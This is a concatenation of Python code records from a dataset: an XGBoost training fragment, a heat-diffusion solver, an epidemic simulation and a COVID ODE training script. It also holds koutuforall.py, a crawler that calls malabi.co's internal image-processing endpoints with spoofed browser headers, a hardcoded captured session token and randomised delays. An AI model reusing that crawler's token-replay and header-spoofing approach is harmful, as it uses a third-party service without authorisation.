\n\n\n\n\n\n\n\n#param = {}\n#param['objective'] = 'multi:softprob'\n#param['eta'] = 0.01\n#param['max_depth'] = 6\n#param['silent'] = 1\n#param['num_class'] = 3\n#param['eval_metric'] = \"mlogloss\"\n#param['min_child_weight'] = 1\n#param['subsample'] = 0.7\n#param['colsample_bytree'] = 0.7\n#param['nthread'] = 25\n#param['seed'] = 2017\n#param['print_every_n'] = 50\n#num_rounds = 6000\n#plst = list(param.items())\n#\n#\n#def train_xgboost(i):\n# trainindex = train_df[train_df['CVindices'] != i].index.tolist()\n# valindex = train_df[train_df['CVindices'] == i].index.tolist()\n# \n# X_val_df = train_df.iloc[valindex,:]\n# \n# X_build , X_valid = train_X[trainindex,:], train_X[valindex,:]\n# y_build , y_valid = train_y.iloc[trainindex,:], train_y.iloc[valindex,:]\n# \n# xgbbuild = xgb.DMatrix(X_build, label=y_build)\n# xgbval = xgb.DMatrix(X_valid, label=y_valid)\n# watchlist = [ (xgbbuild,'build'), (xgbval, 'valid') ]\n# \n# model = xgb.train(plst, \n# xgbbuild, \n# num_rounds, \n# watchlist, \n# verbose_eval = 100 #,\n# #early_stopping_rounds=20\n# )\n# pred_cv = model.predict(xgbval)\n# pred_cv = pd.DataFrame(pred_cv)\n# pred_cv.columns = [\"high\", \"medium\", \"low\"]\n# pred_cv[\"listing_id\"] = X_val_df.listing_id.values\n# \n# sub_valfile = 'C:/Users/SriPrav/Documents/R/21Rental/submissions/Prav.xgb13.fold' + str(i) + '.csv'\n# pred_cv.to_csv(sub_valfile, index=False)\n# \n# xgtest = xgb.DMatrix(test_X)\n# pred_test = model.predict(xgtest)\n# pred_test = pd.DataFrame(pred_test)\n# pred_test.columns = [\"high\", \"medium\", \"low\"]\n# pred_test[\"listing_id\"] = test_df.listing_id.values\n# \n# sub_file = 'C:/Users/SriPrav/Documents/R/21Rental/submissions/Prav.xgb13.fold' + str(i) + '-test' + '.csv'\n# pred_test.to_csv(sub_file, index=False)\n# del pred_cv\n# del pred_test\n#\n#fullnum_rounds = int(num_rounds * 1.2)\n#\n#def fulltrain_xgboost(bags):\n# xgbtrain = xgb.DMatrix(train_X, label=train_y)\n# watchlist = [ (xgbtrain,'train') ]\n# fullmodel = xgb.train(plst, \n# xgbtrain, \n# fullnum_rounds, \n# watchlist,\n# verbose_eval = 100,\n# )\n# xgtest = xgb.DMatrix(test_X)\n# predfull_test = fullmodel.predict(xgtest)\n# predfull_test = pd.DataFrame(predfull_test)\n# predfull_test.columns = [\"high\", \"medium\", \"low\"]\n# predfull_test[\"listing_id\"] = test_df.listing_id.values\n# \n# sub_file = 'C:/Users/SriPrav/Documents/R/21Rental/submissions/Prav.xgb13.full' + '.csv'\n# predfull_test.to_csv(sub_file, index=False)\n#\n#folds = 5\n#i = 1\n#if __name__ == '__main__':\n# for i in range(1, folds+1):\n# train_xgboost(i)\n# fulltrain_xgboost(folds)\n ","sub_path":"Avito/101.Prav_lgbm02.py","file_name":"101.Prav_lgbm02.py","file_ext":"py","file_size_in_byte":14790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"480700036","text":"import numpy\nimport matplotlib.pyplot as plt\nfrom matplotlib import rcParams\nrcParams['font.family'] = 'serif'\nrcParams['font.size'] = 16\n\ndef ftcs(T, nt, alpha, dt, dx, dy):\n ''' T is the 2D array, which is updated through ftcs.\n nt: number of time steps.\n alpha: diffusivity value = k/c_p*rho: rho is density, c_p specific heat & k thermal constant.\n dt: time step.\n dx, dy: array steps, can be set equal. '''\n\n #Takes shape of matrix and finds midpoint.\n j_mid = int((numpy.shape(T)[0])/2)\n i_mid = int((numpy.shape(T)[1])/2)\n print(j_mid,i_mid, type(i_mid))\n for n in range(nt):\n Tn = T.copy()\n #Forward time difference and centred spatial change across x and y(i,j).\n #Note that the y-value is the FIRST (row reference), x the col. to preserve orientation.\n T[1:-1,1:-1] = Tn[1:-1,1:-1] + alpha *\\\n (dt/dy**2 * (Tn[2:,1:-1] - 2*Tn[1:-1,1:-1] + Tn[:-2,1:-1]) +\\\n dt/dx**2 * (Tn[1:-1,2:] - 2*Tn[1:-1,1:-1] + Tn[1:-1,:-2]))\n\n # Enforce Neumann BCs: The last must be the gradient equal to a function q(x,y).\n T[-1,:] = T[-2,:] #-dy*5500 ## Gradient dyQ(x,y) must be negative. Stasis around flux 5500.\n T[:,-1] = T[:,-2] #-dx*5500\n\n # Check if we reached T=70C\n if T[int(j_mid), int(i_mid)] >= 70:\n print (\"Center of plate reached 70C at time {0:.2f}s.\".format(dt*n))\n break\n\n if T[int(j_mid), int(i_mid)]<70:\n print (\"Center has not reached 70C yet, it is only {0:.2f}C.\".format(T[j_mid, i_mid]))\n\n return T\n#Initial values and parameters.\nL = 1.0e-2\nH = 1.0e-2\n#Steps for each dimension.\nnx = 21\nny = 21\nnt = 500\n#Size of each step for spatial co-ordinates.\ndx = L/(nx-1)\ndy = H/(ny-1)\n#Set two arrays to later combine into a mesh.\nx = numpy.linspace(0,L,nx)\ny = numpy.linspace(0,H,ny)\n#Diffusivity value.\nalpha = 1e-4\n#Create initial array. The 20 reverses calculation of dx, dy.\nTi = numpy.ones((ny, nx))*20\nTi[0,:]= 100\nTi[:,0] = 100\n#Sigma is the value to maintain stability of the system across time.\nsigma = 0.25\ndt = sigma * min(dx, dy)**2 / alpha\n\n#Set up the problem and create the array for the time taken to reach 70C.\nT=Ti.copy()\nT = ftcs(T, nt, alpha, dt, dx, dy)\n\nmx, my = numpy.meshgrid(x,y)\n\n##Now plot the figure.\nplt.figure(figsize=(8,5))\nplt.contourf(my,mx,T,20)\nplt.xlabel('$x$')\nplt.ylabel('$y$')\nplt.colorbar();\nplt.show()\n\n# from mayavi.mlab import *\n# imshow(T, colormap='spectral')\n# scalarbar()\n# show()\n","sub_path":"2D_Heat_Diffusion_Explicit.py","file_name":"2D_Heat_Diffusion_Explicit.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"524179168","text":"import requests\nimport json\nimport os\nimport time\nimport random\n\ndef image_processing(pic_path,result_path):\n #请求获取上传url\n request_url = \"https://1yiwu07216.execute-api.us-east-1.amazonaws.com/getSignedUrl\"\n request_head={\n 'Accept':'application/json,text/javascript, */*; q=0.01',\n 'Accept-Encoding':'gzip, deflate',\n 'Accept-Language':'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',\n 'Cache-Control':'no-cache',\n 'Connection':'close',\n 'Content-Length':'21',\n 'Content-Type':'application/json;charset=UTF-8',\n 'Host':'1yiwu07216.execute-api.us-east-1.amazonaws.com',\n 'Origin':'https://www.malabi.co',\n 'Pragma':'no-cache',\n 'Referer':'https://www.malabi.co/',\n 'User-Agent':'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0'\n }\n request_data = json.dumps({\"contentType\":\"png\"})\n retry = 0\n while retry < 3:\n try:\n res = requests.post(request_url,data=request_data, headers=request_head,timeout=25)\n break\n except Exception as e:\n print(e)\n retry += 1\n if retry == 3:\n return 0\n request_result = res.text\n urls = json.loads(request_result)\n if res.status_code != 200:\n print(res.status_code)\n res.close()\n return 0\n print(\"获取url:完成\")\n res.close()\n time.sleep(2+random.uniform(1,3))\n\n #上传图片\n upload_url = urls['oneTimeUploadUrl']\n pic_size = os.path.getsize(pic_path)\n upload_head = {\n 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Encoding':'gzip, deflate',\n 'Accept-Language':'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',\n 'Connection':'close',\n 'Content-Length':'%s' % pic_size,\n 'Content-Type':'png',\n 'Host':'malabi-upload.s3.amazonaws.com',\n 'Origin':'https://www.malabi.co',\n 'Referer':'https://www.malabi.co/',\n 'User-Agent':'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0'\n }\n with open(pic_path,\"rb\") as fp: # todo:格式是否能自动适应?\n pic = fp.read()\n # with open(r\"1.txt\",\"wb\") as fp2:\n # fp2.write(pic)\n upload_data = pic\n while retry < 3:\n try:\n res = requests.put(upload_url,data=upload_data, headers=upload_head,timeout=25)\n break\n except Exception as e:\n print(e)\n retry += 1\n if retry == 3:\n return 0\n upload_result = res.text\n if res.status_code != 200:\n print(res.status_code)\n res.close()\n return 0\n print(\"上传图片:完成\")\n res.close()\n time.sleep(2+random.uniform(1,3))\n\n #处理图片\n process_url = 'https://api.malabi.co/Camera51Server/processImageAsync'\n resulturl = urls['resultUrl']\n process_head={\n 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Encoding':'gzip, deflate',\n 'Accept-Language':'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',\n 'Cache-Control':'no-cache',\n 'Connection':'close',\n 'Content-Length':'368',\n 'Content-Type':'application/x-www-form-urlencoded',\n 'Host':'api.malabi.co',\n 'Origin':'https://www.malabi.co',\n 'Pragma':'no-cache',\n 'Referer':'https://www.malabi.co/',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0'\n }\n #todo:时间也要做成自适应!\n date = time.localtime(time.time())\n nowdate = strTime = time.strftime(\"%Y-%m-%d\", time.localtime())\n #process_data = \"callbackURL=https%3A%2F%2Fsqs.us-east-1.amazonaws.com%2F039264183653%2F5_10fcea89-d86f-4d01-aa7b-22f245f827c3&customerId=5&forceResultImage=true&originalImageURL=https%3A%2F%2Fmalabi-upload.s3.amazonaws.com%2F2019-06-27%2F1561425722596.png&shadow=true&token=2acb46bb-d9ce-4c5f-9e7d-c0cb909418d9&trackId=2acb46bb-d9ce-4c5f-9e7d-c0cb909418d9-1561354086935-83bf&transparent=false&userId=null\"\n process_data = \"callbackURL=https%3A%2F%2Fsqs.us-east-1.amazonaws.com%2F039264183653%2F5_10fcea89-d86f-4d01-aa7b-22f245f827c3&customerId=5&forceResultImage=true&originalImageURL=https%3A%2F%2Fmalabi-upload.s3.amazonaws.com%2F\"+str(nowdate)+\"%2F\"+str(resulturl[50:63])+\".png&shadow=true&token=2acb46bb-d9ce-4c5f-9e7d-c0cb909418d9&trackId=2acb46bb-d9ce-4c5f-9e7d-c0cb909418d9-1561951135704-49e2&transparent=false&userId=null\"\n while retry < 3:\n try:\n res = requests.post(process_url,data=process_data, headers=process_head,timeout=25)\n break\n except Exception as e:\n print(e)\n retry += 1\n if retry == 3:\n return 0\n t = res.text\n retrieveurls = json.loads(t)\n if res.status_code != 200:\n print(res.status_code)\n res.close()\n return 0\n print(\"处理图片:完成\")\n res.close()\n time.sleep(2+random.uniform(1,3))\n\n\n #获取图片\n #retrieve_url = \"https://d2f1mfcynop4j.cloudfront.net/01072019/5/SID_2d112a93e2f017385c3f574c3a76724b/30bafcbdf6cf4cb68bc04e1e0fcc2c06_RES.png\"\n retrieve_url = \"https:\"+retrieveurls['response']['resultImageUrl']\n retrieve_head={\n 'Accept':'image/png,image/*;q=0.8,*/*;q=0.5',\n 'Accept-Encoding':'gzip, deflate',\n 'Accept-Language':'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',\n 'Cache-Control': 'no-cache',\n 'Connection':'close',\n 'Host':'d2f1mfcynop4j.cloudfront.net',\n 'Referer':'https://www.malabi.co/',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0'\n }\n print(\"尝试获取图片\")\n while retry < 3:\n try:\n res = requests.get(retrieve_url,headers=retrieve_head,timeout=40)\n break\n except Exception as e:\n print(e)\n retry += 1\n if retry == 3:\n return 0\n with open(result_path, 'wb') as fp: # todo:格式是否能自动适应?自动改名\n fp.write(res.content)\n fp.close()\n if(res.status_code==200):\n print(\"获取图片:完成\")\n res.close()\n return 1\n else:\n print(\"获取图片:失败\")\n print(res.status_code)\n res.close()\n return 0\n\n\ndef dircheck(max):\n try:\n f=open(\"images/%s.png\" % max, \"rb\")\n f.close()\n except Exception as e:\n print(e)\n return 0\n try:\n dir_num = \"results\"\n if not os.path.exists(dir_num):\n os.mkdir(dir_num)\n print(\"已创建%s目录\" % dir_num)\n except Exception as e:\n print(e)\n return 0\n return 1\n\n\nif __name__ == '__main__':\n fail = 0 #作为是否连续两次失败的指示器\n i = 1\n max = input(\"输入图片的最大编号:\")\n if dircheck(max)==0:\n print(\"输入任意值程序退出\")\n input()\n exit()\n while i <= int(max):\n print(\"开始处理图片%s\" % i)\n res_code = image_processing(\"images/%s.png\" % i, \"results/%s_res.png\" % i) #进行处理\n if res_code == 1: # 若处理成功\n fail = 0\n print(\"图片%s处理成功,等待45秒处理下一张\" % i)\n time.sleep(30+random.uniform(10,30))\n i = i+1 # 处理下一张\n else:\n print(\"图片%s处理失败\" % i)\n if fail == 3:\n print(\"连续处理异常,输入任意值程序退出\")\n input()\n exit()\n else: # 此时第一次失败,i不增加,重新尝试处理当前图片\n fail += 1\n print(\"处理失败,重试\")\n time.sleep(2+random.uniform(1,3))\n\n\n","sub_path":"crawler/koutuforall.py","file_name":"koutuforall.py","file_ext":"py","file_size_in_byte":7739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"56298708","text":"import numpy as np\r\nfrom random import *\r\n\r\n\r\ndef simulate(time, step, population):\r\n status_distribution_sequences = [[[population.state_distribution[i][j]] for j in\r\n range(len(population.state_distribution[i]))] for i in\r\n range(len(population.state_distribution))]\r\n population_sequence = [len(population)]\r\n\r\n for i in range(time):\r\n if i == 12:\r\n population.year_examined = population.state_distribution[0][1] + population.state_distribution[1][1] + \\\r\n population.state_distribution[2][1] + population.state_distribution[1][2] + \\\r\n population.state_distribution[2][2]\r\n death(population)\r\n\r\n for individual in population.members:\r\n infect(population, individual, step)\r\n\r\n if individual.medical_state == 1:\r\n individual.last_examination_count = increment_time(individual.last_examination_count, step)\r\n\r\n change_medical_state(population, individual, population.transition_medical_matrix)\r\n change_state(population, individual)\r\n\r\n for j in range(len(status_distribution_sequences)):\r\n for k in range(len(status_distribution_sequences[j])):\r\n status_distribution_sequences[j][k].append(population.state_distribution[j][k])\r\n population_sequence.append(len(population))\r\n return status_distribution_sequences, population_sequence\r\n\r\n\r\ndef increment_time(time, step):\r\n time = np.sum([time, step], axis=0)\r\n if time[1] == 12:\r\n time[0] += 1\r\n time[1] = 0\r\n return time\r\n\r\n\r\ndef death(population):\r\n dead = prepare_population_count(len(population) * population.population_death_rate)\r\n for i in range(dead):\r\n individual = population.members[randint(0, len(population) - 1)]\r\n population.state_distribution[individual.state][individual.medical_state] -= 1\r\n if not individual.medical_state == 0:\r\n population.state_distribution[individual.state][0] -= 1\r\n if individual.medical_state == 3:\r\n population.state_distribution[individual.state][2] -= 1\r\n population.members.remove(individual)\r\n\r\n\r\ndef infect(population, individual, step):\r\n if not individual.state == 0:\r\n inf, inf_tr = population.average_infected_vector[0], population.average_infected_vector[1]\r\n average = inf if not individual.medical_state == 3 else inf_tr\r\n infected_people = np.random.poisson(average / (12 / (step[1] + 12 * step[0])))\r\n for agent in population.members:\r\n if infected_people == 0:\r\n break\r\n if agent.state == 0:\r\n agent.state = 1\r\n population.state_distribution[0][agent.medical_state] -= 1\r\n if not agent.medical_state == 0:\r\n population.state_distribution[0][0] -= 1\r\n population.state_distribution[1][agent.medical_state] += 1\r\n if not agent.medical_state == 0:\r\n population.state_distribution[1][0] += 1\r\n infected_people -= 1\r\n\r\n\r\ndef prepare_population_count(count):\r\n return int(np.round(count))\r\n\r\n\r\ndef change_state(population, individual, state='state'):\r\n if individual.medical_state == 3:\r\n change_state_with_matrix(population, individual, population.transition_treated_matrix, state)\r\n else:\r\n change_state_with_matrix(population, individual, population.transition_matrix, state)\r\n\r\n\r\ndef change_state_with_matrix(population, individual, transition_matrix, state, last_is_death=True):\r\n rand = uniform(0, 1)\r\n for i in range(len(transition_matrix[getattr(individual, state)])):\r\n if markov_transition(rand, transition_matrix[getattr(individual, state)], i):\r\n if state == 'state':\r\n population.state_distribution[getattr(individual, state)][individual.medical_state] -= 1\r\n if not individual.medical_state == 0:\r\n population.state_distribution[getattr(individual, state)][0] -= 1\r\n if individual.medical_state == 3:\r\n population.state_distribution[getattr(individual, state)][2] -= 1\r\n if last_is_death and i == len(transition_matrix[getattr(individual, state)]) - 1:\r\n population.members.remove(individual)\r\n population.infected_dead += 1\r\n else:\r\n setattr(individual, state, i)\r\n if state == 'state':\r\n population.state_distribution[getattr(individual, state)][individual.medical_state] += 1\r\n if not individual.medical_state == 0:\r\n population.state_distribution[getattr(individual, state)][0] += 1\r\n if individual.medical_state == 3:\r\n population.state_distribution[getattr(individual, state)][2] += 1\r\n\r\n\r\ndef change_medical_state(population, individual, transition_matrix):\r\n rand = uniform(0, 1)\r\n if individual.medical_state <= 1:\r\n if individual.get_examination_probability(transition_matrix[0][0]) >= uniform(0, 1):\r\n individual.last_examination_count = [0, 0]\r\n if individual.medical_state == 0:\r\n individual.medical_state = 1\r\n population.state_distribution[individual.state][individual.medical_state] += 1\r\n if population.wrong_examination <= uniform(0, 1) and not individual.state == 0:\r\n population.state_distribution[individual.state][individual.medical_state] -= 1\r\n individual.medical_state = 2\r\n population.state_distribution[individual.state][individual.medical_state] += 1\r\n elif individual.medical_state == 2:\r\n if (individual.state == 1 and transition_matrix[1][0] >= rand) or (\r\n individual.state == 2 and transition_matrix[1][1] >= rand):\r\n individual.medical_state = 3\r\n population.state_distribution[individual.state][individual.medical_state] += 1\r\n\r\n\r\ndef markov_transition(rand, transition_probability_vector, transition_number):\r\n left = 0\r\n for i in range(transition_number):\r\n left += transition_probability_vector[i]\r\n\r\n right = left + transition_probability_vector[transition_number]\r\n return left <= rand <= right\r\n","sub_path":"simulate.py","file_name":"simulate.py","file_ext":"py","file_size_in_byte":6431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"212400","text":"import os\nimport sys\nfrom lib.load_data_covid import ParseData\nfrom tqdm import tqdm\nimport argparse\nimport numpy as np\nfrom random import SystemRandom\nimport torch\nimport torch.optim as optim\nimport lib.utils as utils\nfrom torch.distributions.normal import Normal\nfrom lib.create_coupled_ode_model import create_CoupledODE_model\nfrom lib.utils import test_data_covid\n\n\nparser = argparse.ArgumentParser('Coupled ODE')\n\nparser.add_argument('--save', type=str, default='experiments/', help=\"Path for save checkpoints\")\nparser.add_argument('--load', type=str, default=None, help=\"name of ckpt. If None, run a new experiment.\")\nparser.add_argument('--dataset', type=str, default='Dec', help=\"Dec\")\nparser.add_argument('--datapath', type=str, default='data/', help=\"default data path\")\nparser.add_argument('--pred_length', type=int, default=14, help=\"Number of days to predict \")\nparser.add_argument('--condition_length', type=int, default=21, help=\"Number days to condition on\")\nparser.add_argument('--features', type=str,\n default=\"Confirmed,Deaths,Recovered,Mortality_Rate,Testing_Rate,Population,Mobility\",\n help=\"selected features\")\nparser.add_argument('--split_interval', type=int, default=3,\n help=\"number of days between two adjacent starting date of two series.\")\nparser.add_argument('--feature_out', type=str, default='Deaths',\n help=\"Confirmed, Deaths, or Confirmed and deaths\")\n\nparser.add_argument('--niters', type=int, default=100)\nparser.add_argument('--lr', type=float, default=5e-3, help=\"Starting learning rate.\")\nparser.add_argument('-b', '--batch-size', type=int, default=8)\nparser.add_argument('-r', '--random-seed', type=int, default=1991, help=\"Random_seed\")\nparser.add_argument('--dropout', type=float, default=0.2, help='Dropout rate (1 - keep probability).')\nparser.add_argument('--l2', type=float, default=1e-5, help='l2 regulazer')\nparser.add_argument('--optimizer', type=str, default=\"AdamW\", help='Adam, AdamW')\nparser.add_argument('--clip', type=float, default=10, help='Gradient Norm Clipping')\nparser.add_argument('--edge_lamda', type=float, default=0.5, help='edge weight')\n\nparser.add_argument('--z0-encoder', type=str, default='GTrans', help=\"GTrans\")\nparser.add_argument('--rec-dims', type=int, default= 64, help=\"Dimensionality of the recognition model .\")\nparser.add_argument('--ode-dims', type=int, default= 20, help=\"Dimensionality of the ODE func for edge and node (must be the same)\")\nparser.add_argument('--rec-layers', type=int, default=1, help=\"Number of layers in recognition model \")\nparser.add_argument('--gen-layers', type=int, default=1, help=\"Number of layers ODE func \")\n\nparser.add_argument('--augment_dim', type=int, default=0, help='augmented dimension')\nparser.add_argument('--solver', type=str, default=\"rk4\", help='dopri5,rk4,euler')\n\nparser.add_argument('--alias', type=str, default=\"run\")\nargs = parser.parse_args()\n\n\n############ CPU AND GPU related\nif torch.cuda.is_available():\n\tprint(\"Using GPU\" + \"-\"*80)\n\tdevice = torch.device(\"cuda:0\")\nelse:\n\tprint(\"Using CPU\" + \"-\" * 80)\n\tdevice = torch.device(\"cpu\")\n\n########### feature related:\nif args.feature_out == \"Confirmed\":\n args.output_dim = 1\n args.feature_out_index = [0]\nelif args.feature_out == \"Deaths\":\n args.output_dim = 1\n args.feature_out_index = [1]\nelse:\n args.output_dim = 2\n args.feature_out_index = [0, 1]\n\n\n#####################################################################################################\n\nif __name__ == '__main__':\n torch.manual_seed(args.random_seed)\n np.random.seed(args.random_seed)\n\n #Saving Path\n file_name = os.path.basename(__file__)[:-3] # run_models\n utils.makedirs(args.save)\n experimentID = int(SystemRandom().random() * 100000)\n\n #Command Log\n input_command = sys.argv\n ind = [i for i in range(len(input_command)) if input_command[i] == \"--load\"]\n if len(ind) == 1:\n ind = ind[0]\n input_command = input_command[:ind] + input_command[(ind + 2):]\n input_command = \" \".join(input_command)\n\n\n #Loading Data\n print(\"predicting data at: %s\" % args.dataset)\n dataloader = ParseData(args =args)\n train_encoder, train_decoder, train_graph, train_batch, num_atoms = dataloader.load_train_data(is_train=True)\n val_encoder, val_decoder, val_graph, val_batch, _ = dataloader.load_train_data(is_train=False)\n args.num_atoms = num_atoms\n input_dim = dataloader.num_features\n\n # Model Setup\n # Create the model\n obsrv_std = 0.01\n obsrv_std = torch.Tensor([obsrv_std]).to(device)\n z0_prior = Normal(torch.Tensor([0.0]).to(device), torch.Tensor([1.]).to(device))\n model = create_CoupledODE_model(args, input_dim, z0_prior, obsrv_std, device)\n\n # Load checkpoint for saved model\n if args.load is not None:\n ckpt_path = os.path.join(args.save, args.load)\n utils.get_ckpt_model(ckpt_path, model, device)\n print(\"loaded saved ckpt!\")\n #exit()\n\n\n # Training Setup\n log_path = \"logs/\" + args.alias +\"_\" + args.dataset + \"_Con_\" + str(args.condition_length) + \"_Pre_\" + str(args.pred_length) + \"_\" + str(experimentID) + \".log\"\n if not os.path.exists(\"logs/\"):\n utils.makedirs(\"logs/\")\n logger = utils.get_logger(logpath=log_path, filepath=os.path.abspath(__file__))\n logger.info(input_command)\n logger.info(str(args))\n logger.info(args.alias)\n\n # Optimizer\n if args.optimizer == \"AdamW\":\n optimizer =optim.AdamW(model.parameters(),lr=args.lr,weight_decay=args.l2)\n elif args.optimizer == \"Adam\":\n optimizer = optim.Adam(model.parameters(), lr=args.lr, weight_decay=args.l2)\n scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, 1000, eta_min=1e-9)\n\n\n wait_until_kl_inc = 10\n best_test_MAPE = np.inf\n best_test_RMSE = np.inf\n best_val_MAPE = np.inf\n best_val_RMSE = np.inf\n n_iters_to_viz = 1\n\n\n def train_single_batch(model,batch_dict_encoder,batch_dict_decoder,batch_dict_graph,kl_coef):\n\n optimizer.zero_grad()\n train_res = model.compute_all_losses(batch_dict_encoder, batch_dict_decoder, batch_dict_graph,args.num_atoms,edge_lamda = args.edge_lamda, kl_coef=kl_coef,istest=False)\n\n loss = train_res[\"loss\"]\n loss.backward()\n torch.nn.utils.clip_grad_norm_(model.parameters(), args.clip)\n\n optimizer.step()\n\n loss_value = loss.data.item()\n\n del loss\n torch.cuda.empty_cache()\n # train_res, loss\n return loss_value,train_res[\"MAPE\"],train_res['MSE'],train_res[\"likelihood\"],train_res[\"kl_first_p\"],train_res[\"std_first_p\"]\n\n def train_epoch(epo):\n model.train()\n loss_list = []\n MAPE_list = []\n MSE_list = []\n likelihood_list = []\n kl_first_p_list = []\n std_first_p_list = []\n\n torch.cuda.empty_cache()\n\n for itr in tqdm(range(train_batch)):\n\n #utils.update_learning_rate(optimizer, decay_rate=0.999, lowest=args.lr / 10)\n wait_until_kl_inc = 1000\n\n if itr < wait_until_kl_inc:\n kl_coef = 1\n else:\n kl_coef = 1*(1 - 0.99 ** (itr - wait_until_kl_inc))\n\n batch_dict_encoder = utils.get_next_batch_new(train_encoder, device)\n batch_dict_graph = utils.get_next_batch_new(train_graph, device)\n batch_dict_decoder = utils.get_next_batch(train_decoder, device)\n\n loss, MAPE,MSE,likelihood,kl_first_p,std_first_p = train_single_batch(model,batch_dict_encoder,batch_dict_decoder,batch_dict_graph,kl_coef)\n\n #saving results\n loss_list.append(loss), MAPE_list.append(MAPE), MSE_list.append(MSE),likelihood_list.append(\n likelihood)\n kl_first_p_list.append(kl_first_p), std_first_p_list.append(std_first_p)\n\n del batch_dict_encoder, batch_dict_graph, batch_dict_decoder\n #train_res, loss\n torch.cuda.empty_cache()\n\n scheduler.step()\n\n message_train = 'Epoch {:04d} [Train seq (cond on sampled tp)] | Loss {:.6f} | MAPE {:.6F} | RMSE {:.6F} | Likelihood {:.6f} | KL fp {:.4f} | FP STD {:.4f}|'.format(\n epo,\n np.mean(loss_list), np.mean(MAPE_list),np.sqrt(np.mean(MSE_list)), np.mean(likelihood_list),\n np.mean(kl_first_p_list), np.mean(std_first_p_list))\n\n return message_train,kl_coef\n\n def val_epoch(epo,kl_coef):\n model.eval()\n MAPE_list = []\n MSE_list = []\n\n\n torch.cuda.empty_cache()\n\n for itr in tqdm(range(val_batch)):\n batch_dict_encoder = utils.get_next_batch_new(val_encoder, device)\n batch_dict_graph = utils.get_next_batch_new(val_graph, device)\n batch_dict_decoder = utils.get_next_batch(val_decoder, device)\n\n val_res = model.compute_all_losses(batch_dict_encoder, batch_dict_decoder, batch_dict_graph,\n args.num_atoms, edge_lamda=args.edge_lamda, kl_coef=kl_coef,\n istest=False)\n\n MAPE_list.append(val_res['MAPE']), MSE_list.append(val_res['MSE'])\n del batch_dict_encoder, batch_dict_graph, batch_dict_decoder\n # train_res, loss\n torch.cuda.empty_cache()\n\n\n message_val = 'Epoch {:04d} [Val seq (cond on sampled tp)] | MAPE {:.6F} | RMSE {:.6F} |'.format(\n epo,\n np.mean(MAPE_list), np.sqrt(np.mean(MSE_list)))\n\n return message_val, np.mean(MAPE_list),np.sqrt(np.mean(MSE_list))\n\n # Test once: for loaded model\n if args.load is not None:\n test_res, MAPE_each, RMSE_each = test_data_covid(model, args.pred_length, args.condition_length, dataloader,\n device=device, args=args, kl_coef=0)\n\n message_test = 'Epoch {:04d} [Test seq (cond on sampled tp)] | Loss {:.6f} | MAPE {:.6F} | RMSE {:.6F} | Likelihood {:.6f} | KL fp {:.4f} | FP STD {:.4f}|'.format(\n 0,\n test_res[\"loss\"], test_res[\"MAPE\"], test_res[\"RMSE\"], test_res[\"likelihood\"],\n test_res[\"kl_first_p\"], test_res[\"std_first_p\"])\n\n logger.info(\"Experiment \" + str(experimentID))\n logger.info(message_test)\n logger.info(MAPE_each)\n logger.info(RMSE_each)\n\n # Training and Testing\n for epo in range(1, args.niters + 1):\n\n message_train, kl_coef = train_epoch(epo)\n message_val, MAPE_val, RMSE_val = val_epoch(epo,kl_coef)\n\n if epo % n_iters_to_viz == 0:\n # Logging Train and Val\n logger.info(\"Experiment \" + str(experimentID))\n logger.info(message_train)\n logger.info(message_val)\n\n\n # Testing\n model.eval()\n test_res,MAPE_each,RMSE_each = test_data_covid(model, args.pred_length, args.condition_length, dataloader,\n device=device, args = args, kl_coef=kl_coef)\n message_test = 'Epoch {:04d} [Test seq (cond on sampled tp)] | MAPE {:.6F} | RMSE {:.6F}|'.format(\n epo,\n test_res[\"MAPE\"], test_res[\"RMSE\"])\n\n\n if MAPE_val < best_val_MAPE:\n best_val_MAPE = MAPE_val\n best_val_RMSE = RMSE_val\n logger.info(\"Best Val!\")\n ckpt_path = os.path.join(args.save, \"experiment_\" + str(\n experimentID) + \"_\" + args.dataset + \"_\" + args.alias + \"_\" + str(\n args.condition_length) + \"_\" + str(\n args.pred_length) + \"_epoch_\" + str(epo) + \"_mape_\" + str(\n test_res[\"MAPE\"]) + '.ckpt')\n torch.save({\n 'args': args,\n 'state_dict': model.state_dict(),\n }, ckpt_path)\n\n\n\n logger.info(message_test)\n logger.info(MAPE_each)\n logger.info(RMSE_each)\n\n\n if test_res[\"MAPE\"] < best_test_MAPE:\n best_test_MAPE = test_res[\"MAPE\"]\n best_test_RMSE = test_res[\"RMSE\"]\n message_best = 'Epoch {:04d} [Test seq (cond on sampled tp)] | Best Test MAPE {:.6f}|Best Test RMSE {:.6f}|'.format(epo,\n best_test_MAPE,best_test_RMSE)\n logger.info(MAPE_each)\n logger.info(RMSE_each)\n logger.info(message_best)\n ckpt_path = os.path.join(args.save, \"experiment_\" + str(\n experimentID) + \"_\" + args.dataset + \"_\" + args.alias+ \"_\" + str(\n args.condition_length) + \"_\" + str(\n args.pred_length) + \"_epoch_\" + str(epo) + \"_mape_\" + str(\n best_test_MAPE) + '.ckpt')\n torch.save({\n 'args': args,\n 'state_dict': model.state_dict(),\n }, ckpt_path)\n\n\n torch.cuda.empty_cache()\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"run_models_covid.py","file_name":"run_models_covid.py","file_ext":"py","file_size_in_byte":13037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"329838911","text":"#guvi_player_set4\r\ndef 